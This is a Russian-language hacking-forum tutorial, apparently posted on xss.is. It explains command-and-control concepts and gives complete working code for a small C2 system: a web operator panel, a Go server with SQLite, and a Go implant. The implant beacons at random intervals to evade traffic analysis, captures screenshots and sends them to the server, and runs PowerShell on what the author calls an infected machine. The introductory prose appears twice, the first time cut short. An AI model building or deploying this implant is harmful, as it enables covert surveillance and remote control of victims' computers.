D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
Это динозавр, он мертв, а мы всё ещё живы. miserylord на связи, улыбнись!
Меня заинтересовала тема фреймворков пост-эксплуатации, но определённые моменты казались слегка нечёткими, и если вы столкнулись с такой же проблемой, давайте разберёмся вместе и построим C2 собственными руками в том смысле, в котором я его понимаю!
C2 — сервер команд и контроля, база и основа красной команды. Получив доступ к машине, то есть эксплуатировав её, следующим логичным шагом выступит пост-эксплуатация. Не уходя в большие фреймворки, для установки контроля необходимо открыть шелл. Они бывают двух видов — блайнд и реверс: один стучится на сервер сам, другой ждёт подключения. Это в целом не важно. Важно то, что такое шелл. А шелл — это как будто открыть терминал, типа как в Линуксе или ПоверШелл, и писать туда команды, командовать машиной, но только через посредника. В рамках реальных примеров в любых туториалах вы могли видеть это через netcat. Netcat — это маленький-маленький C2, тогда как Cobalt Strike — большой-большой C2. Но всё это, по сути своей, одно и то же.
Идём дальше по терминологии. Следующее слово, которое вечно фигурирует в теме, — это некий бекон. Что это такое? Вернёмся к netcat: во время работы с ним работа происходит в режиме сессий, то есть вы мгновенно стучитесь с указаниями и тут же получаете результат. Но в основном C2 работает в другом режиме — beacon, что в переводе на русский значит маяк. Его принцип работы заключается в интервальном опрашивании сервера на наличие команд. И да, в таком режиме не получится общаться мгновенно. В то же время этот режим позволяет быть более гибким в контексте соединения, транспорта, скрытности.
На самом деле этих знаний уже достаточно, чтобы постепенно переходить к написанию проекта. Хотя в контексте существуют ещё ряд терминов. Например:
Перейдём к моментам архитектуры. Имплант, он же агент, он же по сути ратник — это программа, запущенная на инфицированном устройстве, которая с интервальной регулярностью стучится в режиме маячка по адресу C2-сервера на предмет получения заданий и отсылает назад результаты их выполнения. Следующий этап — это транспорт, то есть канал связи. И это могут быть совсем неочевидные штуки. Пусть и очень распространённые, такие как DNS — изначально это супер неочевидное решение. Также решениями могут выступать 3D-сервисы, ну и, конечно же, стандартные протоколы типа HTTPS. Далее сам C2 — это, по сути, просто сервер, на котором крутится программа, которая понимает сигналы от импланта и способна выдать команды ему. Это может быть, например, REST API. Вы можете повстречать здесь ещё один термин — Listening Post (LP). LP — это термин, который иногда используется для описания интерфейса REST API в C2-сервере. LP — это место, где C2 "слушает" запросы от маячков и управляет ими. REST API — это один из способов реализации LP. Наконец, есть клиент. Это программа, запущенная вообще на третьей машине. Это может быть, например, веб-клиент, который может общаться с LP C2. В рамках клиента оператор может задавать команды импланту посредством реализованного API. Также в клиенте может быть реализован функционал для билда новых имплантов или конфигурации текущих.
Ну всё, переходим к технологиям и тестированию. В качестве клиента будет выступать веб на ванильном JavaScript, в качестве сервера, да простят меня боги, — Golang и SQLite как база данных. Транспортом будет HTTP, а в качестве языка программирования для импланта я также выбрал Golang, поскольку он визуально намного понятнее C. В качестве операционной системы — Windows 10.
Определяем функционал. Пускай будет несколько простых демонстрационных функций: пинг импланта, проверка, запущен ли процесс Google Chrome, а также снятие скриншота экрана.
Начнем с клиентского кода. Создадим файл index.html и реализуем тривиальный код. Добавим немного CSS для придания внешнему виду эстетичности, возможность добавления команд импланту из заранее определенного списка, а также вывод результатов работы. Ниже реализуем эндпоинты.
HTML: Скопировать в буфер обмена
Вот как это будет выглядеть по итогу:
Далее переходим к серверу для разработки API. В качестве фреймворка будет выбран Gin. По плану будет несколько эндпоинтов. Первый блок — это задачи: добавление задач с клиента, получение задач для импланта, а также удаление задачи по ID для импланта. Второй блок — это история: добавление в историю выполненной задачи для импланта. Также в основном коде откроем CORS с помощью middleware для корректной работы в браузерах. Сервер будет запущен на порту 8080.
C-подобный: Скопировать в буфер обмена
```
Модели для работы с API — History и Task.
```
package models
type Task struct {
ID int `json:"id"`
Name string `json:"name"`
}
type History struct {
TaskID int `json:"task_id"`
Name string `json:"name"`
Result string `json:"result"`
}
Код пакета db: функция InitDatabase инициализирует базу данных и создает таблицы, если их нет. Создаем таблицу задач, затем — таблицу истории.
C-подобный: Скопировать в буфер обмена
```
Код файла task_handler.go: Функция generateRandomID генерирует случайный ID в диапазоне от 0 до 999999 и проверяет его уникальность. AddTaskHandler добавляет новую задачу с случайным ID, GetTasksHandler возвращает все задачи, а DeleteTaskHandler удаляет задачу по ID.
C-подобный: Скопировать в буфер обмена
Наконец, код history_handler.go с функциями для добавления в историю, а также для получения всей истории команд.
C-подобный: Скопировать в буфер обмена
Запускаем сервер и переходим к написанию импланта.
C-подобный: Скопировать в буфер обмена
Код явно демонстрирует работу простого C2. Не думаю, что стоит разрабатывать кастомное решение, тем не менее, его разработка позволит более чётко понять структуру C2-сервера.
Трям! Пока!
Эксклюзивно для форума: xss.is

Меня заинтересовала тема фреймворков пост-эксплуатации, но определённые моменты казались слегка нечёткими, и если вы столкнулись с такой же проблемой, давайте разберёмся вместе и построим C2 собственными руками в том смысле, в котором я его понимаю!
C2 — сервер команд и контроля, база и основа красной команды. Получив доступ к машине, то есть эксплуатировав её, следующим логичным шагом выступит пост-эксплуатация. Не уходя в большие фреймворки, для установки контроля необходимо открыть шелл. Они бывают двух видов — блайнд и реверс: один стучится на сервер сам, другой ждёт подключения. Это в целом не важно. Важно то, что такое шелл. А шелл — это как будто открыть терминал, типа как в Линуксе или ПоверШелл, и писать туда команды, командовать машиной, но только через посредника. В рамках реальных примеров в любых туториалах вы могли видеть это через netcat. Netcat — это маленький-маленький C2, тогда как Cobalt Strike — большой-большой C2. Но всё это, по сути своей, одно и то же.
Идём дальше по терминологии. Следующее слово, которое вечно фигурирует в теме, — это некий бекон. Что это такое? Вернёмся к netcat: во время работы с ним работа происходит в режиме сессий, то есть вы мгновенно стучитесь с указаниями и тут же получаете результат. Но в основном C2 работает в другом режиме — beacon, что в переводе на русский значит маяк. Его принцип работы заключается в интервальном опрашивании сервера на наличие команд. И да, в таком режиме не получится общаться мгновенно. В то же время этот режим позволяет быть более гибким в контексте соединения, транспорта, скрытности.
На самом деле этих знаний уже достаточно, чтобы постепенно переходить к написанию проекта. Хотя в контексте существуют ещё ряд терминов. Например:
- Стейджи — это такие штуки, которые позволяют подгружать пейлоды в модульном режиме.
- А также куча моментов, связанных с AV (антивирусными технологиями) — EDR, MDR, XDR.
Перейдём к моментам архитектуры. Имплант, он же агент, он же по сути ратник — это программа, запущенная на инфицированном устройстве, которая с интервальной регулярностью стучится в режиме маячка по адресу C2-сервера на предмет получения заданий и отсылает назад результаты их выполнения. Следующий этап — это транспорт, то есть канал связи. И это могут быть совсем неочевидные штуки. Пусть и очень распространённые, такие как DNS — изначально это супер неочевидное решение. Также решениями могут выступать 3D-сервисы, ну и, конечно же, стандартные протоколы типа HTTPS. Далее сам C2 — это, по сути, просто сервер, на котором крутится программа, которая понимает сигналы от импланта и способна выдать команды ему. Это может быть, например, REST API. Вы можете повстречать здесь ещё один термин — Listening Post (LP). LP — это термин, который иногда используется для описания интерфейса REST API в C2-сервере. LP — это место, где C2 "слушает" запросы от маячков и управляет ими. REST API — это один из способов реализации LP. Наконец, есть клиент. Это программа, запущенная вообще на третьей машине. Это может быть, например, веб-клиент, который может общаться с LP C2. В рамках клиента оператор может задавать команды импланту посредством реализованного API. Также в клиенте может быть реализован функционал для билда новых имплантов или конфигурации текущих.
Ну всё, переходим к технологиям и тестированию. В качестве клиента будет выступать веб на ванильном JavaScript, в качестве сервера, да простят меня боги, — Golang и SQLite как база данных. Транспортом будет HTTP, а в качестве языка программирования для импланта я также выбрал Golang, поскольку он визуально намного понятнее C. В качестве операционной системы — Windows 10.
Определяем функционал. Пускай будет несколько простых демонстрационных функций: пинг импланта, проверка, запущен ли процесс Google Chrome, а также снятие скриншота экрана.
Начнем с клиентского кода. Создадим файл index.html и реализуем тривиальный код. Добавим немного CSS для придания внешнему виду эстетичности, возможность добавления команд импланту из заранее определенного списка, а также вывод результатов работы. Ниже реализуем эндпоинты.
HTML: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>dracarys C2</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f9;
color: #333;
margin: 0;
padding: 0;
}
h1, h2 {
text-align: center;
margin-top: 20px;
color: #444;
}
form {
max-width: 400px;
margin: 20px auto;
padding: 20px;
background: #ffffff;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}
label {
display: block;
margin-bottom: 10px;
font-weight: bold;
}
select, input[type="submit"] {
width: 100%;
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 4px;
}
input[type="submit"] {
background-color: #007BFF;
color: #ffffff;
font-weight: bold;
cursor: pointer;
transition: background-color 0.3s;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
table {
width: 90%;
margin: 20px auto;
border-collapse: collapse;
background: #ffffff;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}
th, td {
padding: 10px;
text-align: left;
border: 1px solid #ddd;
}
th {
background-color: #007BFF;
color: white;
}
tr:nth-child(even) {
background-color: #f9f9f9;
}
tr:hover {
background-color: #f1f1f1;
}
</style>
</head>
<body>
<h1>Add Task</h1>
<form id="taskForm">
<label for="task">Add task:</label>
<select name="task" id="task">
<option value="PING">PING</option>
<option value="SCREENSHOT">SCREENSHOT</option>
<option value="CHECK_IS_CHROME_RUNNING">CHECK_IS_CHROME_RUNNING</option>
</select>
<br><br>
<input type="submit" value="Submit">
</form>
<h2>History</h2>
<table id="historyTable">
<thead>
<tr>
<th>Task ID</th>
<th>Name</th>
<th>Result</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
<script>
const taskForm = document.getElementById('taskForm');
const historyTableBody = document.querySelector('#historyTable tbody');
taskForm.addEventListener('submit', async (event) => {
event.preventDefault();
const task = document.getElementById('task').value;
const apiUrl = 'http://1.1.1.1:8080/tasks';
try {
const response = await fetch(apiUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ name: task })
});
if (response.ok) {
alert('Task submitted successfully!');
fetchHistory();
} else {
alert('Failed to submit task.');
}
} catch (error) {
console.error('Error:', error);
alert('Error submitting task.');
}
});
async function fetchHistory() {
const historyApiUrl = 'http://1.1.1.1:8080/history';
try {
const response = await fetch(historyApiUrl);
if (response.ok) {
const data = await response.json();
renderHistory(data);
} else {
console.error('Failed to fetch history');
}
} catch (error) {
console.error('Error fetching history:', error);
}
}
function renderHistory(data) {
historyTableBody.innerHTML = '';
data.forEach((item) => {
const row = document.createElement('tr');
const taskIdCell = document.createElement('td');
taskIdCell.textContent = item.task_id;
row.appendChild(taskIdCell);
const nameCell = document.createElement('td');
nameCell.textContent = item.name;
row.appendChild(nameCell);
const resultCell = document.createElement('td');
resultCell.textContent = item.result.substring(0, 10);
row.appendChild(resultCell);
historyTableBody.appendChild(row);
});
}
fetchHistory();
</script>
</body>
</html>
Вот как это будет выглядеть по итогу:
Далее переходим к серверу для разработки API. В качестве фреймворка будет выбран Gin. По плану будет несколько эндпоинтов. Первый блок — это задачи: добавление задач с клиента, получение задач для импланта, а также удаление задачи по ID для импланта. Второй блок — это история: добавление в историю выполненной задачи для импланта. Также в основном коде откроем CORS с помощью middleware для корректной работы в браузерах. Сервер будет запущен на порту 8080.
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"github.com/gin-gonic/gin"
"c2d/db"
"c2d/handlers"
"net/http"
)
func main() {
db.InitDatabase()
defer db.DB.Close()
r := gin.Default()
r.Use(func(c *gin.Context) {
c.Writer.Header().Set("Access-Control-Allow-Origin", "*")
c.Writer.Header().Set("Access-Control-Allow-Methods", "GET, POST, DELETE, PUT, OPTIONS")
c.Writer.Header().Set("Access-Control-Allow-Headers", "Origin, Content-Type, Authorization")
c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")
if c.Request.Method == "OPTIONS" {
c.AbortWithStatus(http.StatusNoContent)
return
}
c.Next()
})
r.POST("/tasks", handlers.AddTaskHandler)
r.GET("/tasks", handlers.GetTasksHandler)
r.DELETE("/tasks/:id", handlers.DeleteTaskHandler)
r.POST("/history", handlers.AddHistoryHandler)
r.GET("/history", handlers.GetHistoryHandler)
r.Run(":8080")
}
Модели для работы с API — History и Task.
```
package models
type Task struct {
ID int `json:"id"`
Name string `json:"name"`
}
type History struct {
TaskID int `json:"task_id"`
Name string `json:"name"`
Result string `json:"result"`
}
Код пакета db: функция InitDatabase инициализирует базу данных и создает таблицы, если их нет. Создаем таблицу задач, затем — таблицу истории.
C-подобный: Скопировать в буфер обмена
Код:
package db
import (
"database/sql"
"log"
_ "github.com/mattn/go-sqlite3"
)
var DB *sql.DB
func InitDatabase() {
var err error
DB, err = sql.Open("sqlite3", "tasks.db")
if err != nil {
log.Fatal("Failed to connect to database:", err)
}
createTasksTableQuery := `
CREATE TABLE IF NOT EXISTS tasks (
id INTEGER NOT NULL PRIMARY KEY,
name TEXT NOT NULL
);`
_, err = DB.Exec(createTasksTableQuery)
if err != nil {
log.Fatal("Failed to create tasks table:", err)
}
createHistoryTableQuery := `
CREATE TABLE IF NOT EXISTS history (
task_id INTEGER NOT NULL,
name TEXT NOT NULL,
result TEXT NOT NULL
);`
_, err = DB.Exec(createHistoryTableQuery)
if err != nil {
log.Fatal("Failed to create history table:", err)
}
}
Код файла task_handler.go: Функция generateRandomID генерирует случайный ID в диапазоне от 0 до 999999 и проверяет его уникальность. AddTaskHandler добавляет новую задачу с случайным ID, GetTasksHandler возвращает все задачи, а DeleteTaskHandler удаляет задачу по ID.
C-подобный: Скопировать в буфер обмена
Код:
package handlers
import (
"math/rand"
"net/http"
"time"
"github.com/gin-gonic/gin"
"c2d/db"
"c2d/models"
)
func generateRandomID() int {
for {
id := rand.Intn(1000000)
var exists bool
err := db.DB.QueryRow("SELECT EXISTS(SELECT 1 FROM tasks WHERE id = ?)", id).Scan(&exists)
if err == nil && !exists {
return id
}
}
}
func AddTaskHandler(c *gin.Context) {
var task models.Task
if err := c.ShouldBindJSON(&task); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid input"})
return
}
task.ID = generateRandomID()
_, err := db.DB.Exec("INSERT INTO tasks (id, name) VALUES (?, ?)", task.ID, task.Name)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to add task"})
return
}
c.JSON(http.StatusOK, task)
}
func GetTasksHandler(c *gin.Context) {
rows, err := db.DB.Query("SELECT id, name FROM tasks")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to fetch tasks"})
return
}
defer rows.Close()
var tasks []models.Task
for rows.Next() {
var task models.Task
if err := rows.Scan(&task.ID, &task.Name); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to scan task"})
return
}
tasks = append(tasks, task)
}
c.JSON(http.StatusOK, tasks)
}
func DeleteTaskHandler(c *gin.Context) {
id := c.Param("id")
_, err := db.DB.Exec("DELETE FROM tasks WHERE id = ?", id)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to delete task"})
return
}
c.JSON(http.StatusOK, gin.H{"message": "Task deleted"})
}
Наконец, код history_handler.go с функциями для добавления в историю, а также для получения всей истории команд.
C-подобный: Скопировать в буфер обмена
Код:
package handlers
import (
"net/http"
"c2d/db"
"c2d/models"
"github.com/gin-gonic/gin"
)
func AddHistoryHandler(c *gin.Context) {
var history models.History
if err := c.ShouldBindJSON(&history); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid input"})
return
}
_, err := db.DB.Exec("INSERT INTO history (task_id, name, result) VALUES (?, ?, ?)",
history.TaskID, history.Name, history.Result)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to add history"})
return
}
c.JSON(http.StatusOK, history)
}
func GetHistoryHandler(c *gin.Context) {
rows, err := db.DB.Query("SELECT task_id, name, result FROM history")
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to fetch history"})
return
}
defer rows.Close()
var historyEntries []models.History
for rows.Next() {
var history models.History
if err := rows.Scan(&history.TaskID, &history.Name, &history.Result); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to scan history"})
return
}
historyEntries = append(historyEntries, history)
}
c.JSON(http.StatusOK, historyEntries)
}
Запускаем сервер и переходим к написанию импланта.
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"bytes"
"encoding/base64"
"encoding/json"
"fmt"
"image/png"
"log"
"math/rand"
"net/http"
"os/exec"
"time"
"github.com/kbinani/screenshot" // 1
)
const (
serverAddr = "" // 2
)
// 3
type Task struct {
ID int `json:"id"`
Name string `json:"name"`
}
type Response []Task
type TaskResult struct {
TaskID int `json:"task_id"`
Name string `json:"name"`
Result string `json:"result"`
}
// 4
func getRandomInterval(min, max int) time.Duration {
return time.Duration(rand.Intn(max-min)+min) * time.Second
}
// 5
func fetchTasks() (Response, error) {
resp, err := http.Get(serverAddr + "/tasks")
if err != nil {
return nil, err
}
defer resp.Body.Close()
var tasks Response
if err := json.NewDecoder(resp.Body).Decode(&tasks); err != nil {
return nil, err
}
return tasks, nil
}
// 6
func deleteTask(id int) error {
req, err := http.NewRequest("DELETE", fmt.Sprintf("%s/tasks/%d", serverAddr, id), nil)
if err != nil {
return err
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("failed to delete task, status code: %d", resp.StatusCode)
}
return nil
}
// 7
func sendTaskResult(taskResult TaskResult) error {
data, err := json.Marshal(taskResult)
if err != nil {
return err
}
resp, err := http.Post(serverAddr+"/history", "application/json", bytes.NewBuffer(data))
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("failed to send task result, status code: %d", resp.StatusCode)
}
return nil
}
// 8
func takeScreenshot() ([]byte, error) {
bounds := screenshot.GetDisplayBounds(0)
img, err := screenshot.CaptureRect(bounds)
if err != nil {
return nil, fmt.Errorf("error capturing screenshot: %v", err)
}
var buf bytes.Buffer
if err := png.Encode(&buf, img); err != nil {
return nil, fmt.Errorf("error encoding screenshot: %v", err)
}
return buf.Bytes(), nil
}
// 9
func isChromeRunning() (bool, error) {
cmd := exec.Command("powershell", "Get-Process chrome -ErrorAction SilentlyContinue")
output, err := cmd.CombinedOutput()
if err != nil {
return false, err
}
return len(output) > 0, nil
}
// 10
func handleTask(task Task) {
if task.Name == "PING" {
result := TaskResult{
TaskID: task.ID,
Name: task.Name,
Result: "PONG",
}
if err := sendTaskResult(result); err != nil {
log.Printf("Error sending task result: %v\n", err)
}
if err := deleteTask(task.ID); err != nil {
log.Printf("Error deleting task: %v\n", err)
} else {
log.Printf("Task %d completed and deleted successfully.\n", task.ID)
}
} else if task.Name == "SCREENSHOT" {
imgData, err := takeScreenshot()
if err != nil {
log.Printf("Error taking screenshot: %v\n", err)
return
}
result := TaskResult{
TaskID: task.ID,
Name: task.Name,
Result: base64.StdEncoding.EncodeToString(imgData),
}
if err := sendTaskResult(result); err != nil {
log.Printf("Error sending task result: %v\n", err)
}
if err := deleteTask(task.ID); err != nil {
log.Printf("Error deleting task: %v\n", err)
} else {
log.Printf("Screenshot task %d completed and deleted successfully.\n", task.ID)
}
} else if task.Name == "CHECK_IS_CHROME_RUNNING" {
isRunning, err := isChromeRunning()
if err != nil {
log.Printf("Error checking if Chrome is running: %v\n", err)
return
}
result := TaskResult{
TaskID: task.ID,
Name: task.Name,
Result: fmt.Sprintf("Chrome running: %v", isRunning),
}
if err := sendTaskResult(result); err != nil {
log.Printf("Error sending task result: %v\n", err)
}
if err := deleteTask(task.ID); err != nil {
log.Printf("Error deleting task: %v\n", err)
} else {
log.Printf("Chrome check task %d completed and deleted successfully.\n", task.ID)
}
}
}
// 11
func main() {
rand.Seed(time.Now().UnixNano())
for {
tasks, err := fetchTasks()
if err != nil {
log.Printf("Error fetching tasks: %v\n", err)
} else {
log.Printf("Tasks fetched: %v\n", tasks)
for _, task := range tasks {
handleTask(task)
}
}
time.Sleep(getRandomInterval(5, 30))
}
}
- Я подключу библиотеку github.com/kbinani/screenshot для работы со скриншотами, поскольку она позволяет реализовать функционал без рутированного доступа.
- Задаем переменную с адресом сервера.
- Определяем структуры для общения с API.
- Генерируем случайный временной интервал (в секундах) между min и max. Это используется для циклической паузы между запросами к серверу. Интервальное обращение необходимо для сокрытия в рамках сетевого трафика во время анализа.
- Получаем список задач с сервера.
- Удаляем задачу, отправляя DELETE-запрос с указанием её ID.
- Реализуем функцию для отправки результата выполнения задачи на сервер.
- Функция для создания скриншота экрана. Метод png.Encode преобразует изображение в формат PNG и записывает данные в bytes.Buffer, что позволяет передавать их в бинарном формате по сети. Стоит отметить, что объём данных получается достаточно большим. Тем не менее, это позволяет наладить процесс в рамках API. Для других данных я бы предложил использовать третий сервер, который бы разделял функционал, на него передавались бы данные, а затем формировалась ссылка, которая записывалась бы в API. Однако в случае изображения его можно передавать непосредственно через сеть в указанном формате.
- Функция, проверяющая, запущен ли браузер Chrome на компьютере. Используется вызов команды PowerShell через os/exec. Метод exec.Command формирует команду для выполнения: Get-Process chrome: проверяет список процессов и ищет процесс chrome. ErrorAction SilentlyContinue: подавляет ошибки, если процесс chrome отсутствует. Команда возвращает список процессов Chrome, если они запущены, или пустой вывод. По сути, управление реализуется так, словно мы открываем PowerShell и удалённо управляем устройством. Это весьма наглядная функция.
- Управление задачами реализуем через switch, задавая заранее определённые команды. Помимо CHECK_IS_CHROME_RUNNING и SCREENSHOT, существует команда PING, которая в ответ возвращает PONG.
- В функции main с заданным интервалом фетчим задачи с сервера и выполняем их.
Код явно демонстрирует работу простого C2. Не думаю, что стоит разрабатывать кастомное решение, тем не менее, его разработка позволит более чётко понять структуру C2-сервера.
Трям! Пока!